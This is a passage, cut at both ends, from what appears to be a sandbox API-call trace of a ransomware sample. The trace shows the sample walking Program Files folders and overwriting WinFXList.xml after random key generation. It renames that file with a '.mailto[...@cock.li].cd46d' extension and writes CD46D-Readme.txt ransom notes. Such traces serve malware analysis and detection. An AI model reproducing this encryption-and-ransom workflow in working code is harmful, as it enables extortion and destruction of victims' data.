(hFile=0xd54) returned 1 [0056.812] CloseHandle (hObject=0xd54) returned 1 [0056.825] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e2a0d8 [0056.825] wcscpy (in: _Dest=0x12e2a0d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0056.825] wcscat (in: _Dest=0x12e2a0d8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" [0056.825] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\cd46d-readme.txt")) returned 0x20 [0056.825] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a0d8) returned 1 [0056.825] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417c50) returned 1 Thread: id = 778 os_tid = 0x1004 [0051.542] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x442f10 [0051.542] wcscpy (in: _Dest=0x442f10, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0051.542] wcscat (in: _Dest=0x442f10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" [0051.542] wcscat (in: _Dest=0x442f10, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*" [0051.542] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e05228 [0051.542] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x12e05228 | out: lpFindFileData=0x12e05228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440d20 [0051.543] wcscmp (_String1=".", _String2=".") returned 0 [0051.543] FindNextFileW (in: hFindFile=0x440d20, lpFindFileData=0x12e05228 | out: lpFindFileData=0x12e05228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.543] wcscmp (_String1="..", _String2=".") returned 1 [0051.543] wcscmp (_String1="..", _String2="..") returned 0 [0051.543] FindNextFileW (in: hFindFile=0x440d20, lpFindFileData=0x12e05228 | out: lpFindFileData=0x12e05228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0051.543] wcscmp (_String1="FrameworkList.xml", _String2=".") returned 1 [0051.543] wcscmp (_String1="FrameworkList.xml", _String2="..") returned 1 [0051.543] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00a20 [0051.543] wcscpy (in: _Dest=0x5e00a20, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0051.544] wcscat (in: _Dest=0x5e00a20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" [0051.544] wcscat (in: _Dest=0x5e00a20, _Source="FrameworkList.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" [0067.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e00a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc70 [0067.021] FindNextFileW (in: hFindFile=0x440d20, lpFindFileData=0x12e05228 | out: lpFindFileData=0x12e05228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 0 [0067.021] FindClose (in: hFindFile=0x440d20 | out: hFindFile=0x440d20) returned 1 [0067.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e05228) returned 1 [0067.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442f10) returned 1 [0067.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4455c8) returned 1 Thread: id = 779 os_tid = 0x1008 [0051.544] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x442fc0 [0051.544] wcscpy (in: _Dest=0x442fc0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" [0051.544] wcscat (in: _Dest=0x442fc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\" [0051.544] wcscat (in: _Dest=0x442fc0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*" [0051.544] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e05490 [0051.544] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", lpFindFileData=0x12e05490 | out: lpFindFileData=0x12e05490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440d60 [0051.545] wcscmp (_String1=".", _String2=".") returned 0 [0051.545] FindNextFileW (in: hFindFile=0x440d60, lpFindFileData=0x12e05490 | out: lpFindFileData=0x12e05490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.545] wcscmp (_String1="..", _String2=".") returned 1 [0051.545] wcscmp (_String1="..", _String2="..") returned 0 [0051.545] FindNextFileW (in: hFindFile=0x440d60, lpFindFileData=0x12e05490 | out: lpFindFileData=0x12e05490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0051.545] wcscmp (_String1="Client.xml", _String2=".") returned 1 [0051.545] wcscmp (_String1="Client.xml", _String2="..") returned 1 [0051.545] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02360 [0051.545] wcscpy (in: _Dest=0x5e02360, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" [0051.545] wcscat (in: _Dest=0x5e02360, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\" [0051.545] wcscat (in: _Dest=0x5e02360, _Source="Client.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" [0051.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e02360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd28 [0051.794] FindNextFileW (in: hFindFile=0x440d60, lpFindFileData=0x12e05490 | out: lpFindFileData=0x12e05490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0051.794] FindClose (in: hFindFile=0x440d60 | out: hFindFile=0x440d60) returned 1 [0051.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e05490) returned 1 [0051.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442fc0) returned 1 [0051.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43df18) returned 1 Thread: id = 780 os_tid = 0x100c [0051.545] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml")) returned 0x20 [0051.724] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", dwFileAttributes=0x20) returned 1 [0052.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe58 [0052.778] GetFileSizeEx (in: hFile=0xe58, lpFileSize=0xc85fe1c | out: lpFileSize=0xc85fe1c*=2578) returned 1 [0052.778] SetFilePointerEx (in: hFile=0xe58, liDistanceToMove=0xa0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.778] ReadFile (in: hFile=0xe58, lpBuffer=0xc85fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc85fd9c, lpOverlapped=0x0 | out: lpBuffer=0xc85fda0*, lpNumberOfBytesRead=0xc85fd9c*=0x4, lpOverlapped=0x0) returned 1 [0052.780] SetFilePointerEx (in: hFile=0xe58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.780] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0052.780] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4289d8 [0052.780] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a50 [0052.780] NtQuerySystemTime (in: CurrentTime=0xc85fd7c | out: CurrentTime=0xc85fd7c*=132174898167672000) returned 0x0 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x73b291a9 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x3c9c794e [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x104bd6c [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x7ec852d7 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x19effa87 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x6edf832d [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0xb45171f [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x43be6b06 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x4c4ef737 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x76bb3198 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x5efa41d2 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x1db0d117 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x3a98b2dc [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x6b5a3271 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x601db79b [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x4e2f2b1a [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x6ad51f04 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x7238722d [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x784b0416 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x41a6de28 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x58223041 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x7ed7c0cd [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x65bdf7f8 [0052.780] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x6c8051a9 [0052.781] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x5d1c7c54 [0052.781] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x71ebce4e [0052.781] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x14db7352 [0052.781] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x10585bd5 [0052.781] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x446ddadd [0052.781] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x666d6407 [0052.781] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x195db136 [0052.781] RtlRandomEx (in: Seed=0xc85fd88 | out: Seed=0xc85fd88) returned 0x3f27192 [0052.794] ReadFile (in: hFile=0xe58, lpBuffer=0x19608910, nNumberOfBytesToRead=0xa12, lpNumberOfBytesRead=0xc85fd78, lpOverlapped=0x0 | out: lpBuffer=0x19608910*, lpNumberOfBytesRead=0xc85fd78*=0xa12, lpOverlapped=0x0) returned 1 [0052.794] SetFilePointerEx (in: hFile=0xe58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.794] WriteFile (in: hFile=0xe58, lpBuffer=0x19615118*, nNumberOfBytesToWrite=0xa12, lpNumberOfBytesWritten=0xc85fd74, lpOverlapped=0x0 | out: lpBuffer=0x19615118*, lpNumberOfBytesWritten=0xc85fd74*=0xa12, lpOverlapped=0x0) returned 1 [0056.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed930 [0056.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed980 [0056.468] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed980) returned 1 [0056.468] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19615118) returned 1 [0056.468] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19608910) returned 1 [0056.468] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4375f8) returned 1 [0056.468] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c048) returned 1 [0056.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97cec60 [0056.468] SetFilePointerEx (in: hFile=0xe58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.468] WriteFile (in: hFile=0xe58, lpBuffer=0x196d0990*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xc85fddc, lpOverlapped=0x0 | out: lpBuffer=0x196d0990*, lpNumberOfBytesWritten=0xc85fddc*=0x10b, lpOverlapped=0x0) returned 1 [0056.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0990) returned 1 [0056.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec90) returned 1 [0056.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed980) returned 1 [0056.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec60) returned 1 [0056.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed930) returned 1 [0056.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4289d8) returned 1 [0056.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a78) returned 1 [0056.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428aa0) returned 1 [0056.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xee) returned 0x95d0848 [0056.599] wcscpy (in: _Dest=0x95d0848, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" [0056.599] wcscat (in: _Dest=0x95d0848, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d" [0056.599] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xc85fd94, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x104) returned 0x95d0940 [0056.632] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0940) returned 1 [0056.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d9198) returned 1 [0056.633] NtQueryInformationFile (in: FileHandle=0xe58, IoStatusBlock=0xc85fda0, FileInformation=0xc85fd78, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xc85fda0, FileInformation=0xc85fd78) returned 0x0 [0056.633] NtSetInformationFile (FileHandle=0xe58, IoStatusBlock=0xc85fda0, FileInformation=0xc85fd78, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.651] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0848) returned 1 [0056.651] FlushFileBuffers (hFile=0xe58) returned 1 [0056.654] CloseHandle (hObject=0xe58) returned 1 [0056.675] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45c630 [0056.675] wcscpy (in: _Dest=0x45c630, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0056.675] wcscat (in: _Dest=0x45c630, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\CD46D-Readme.txt" [0056.675] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\cd46d-readme.txt")) returned 0xffffffff [0056.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90c [0056.690] WriteFile (in: hFile=0x90c, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xc85fd9c, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xc85fd9c*=0x6fd, lpOverlapped=0x0) returned 1 [0056.696] CloseHandle (hObject=0x90c) returned 1 [0056.703] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c630) returned 1 [0056.703] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442e60) returned 1 Thread: id = 781 os_tid = 0x1010 [0051.547] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f8668 [0051.547] wcscpy (in: _Dest=0x96f8668, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0051.547] wcscat (in: _Dest=0x96f8668, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0051.547] wcscat (in: _Dest=0x96f8668, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*" [0051.547] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e056f8 [0051.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440da0 [0051.547] wcscmp (_String1=".", _String2=".") returned 0 [0051.547] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.547] wcscmp (_String1="..", _String2=".") returned 1 [0051.547] wcscmp (_String1="..", _String2="..") returned 0 [0051.547] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0051.547] wcscmp (_String1="en-US", _String2=".") returned 1 [0051.547] wcscmp (_String1="en-US", _String2="..") returned 1 [0051.547] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417f20 [0051.547] wcscpy (in: _Dest=0x417f20, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" | out: _Dest="C:\\Program Files\\Common 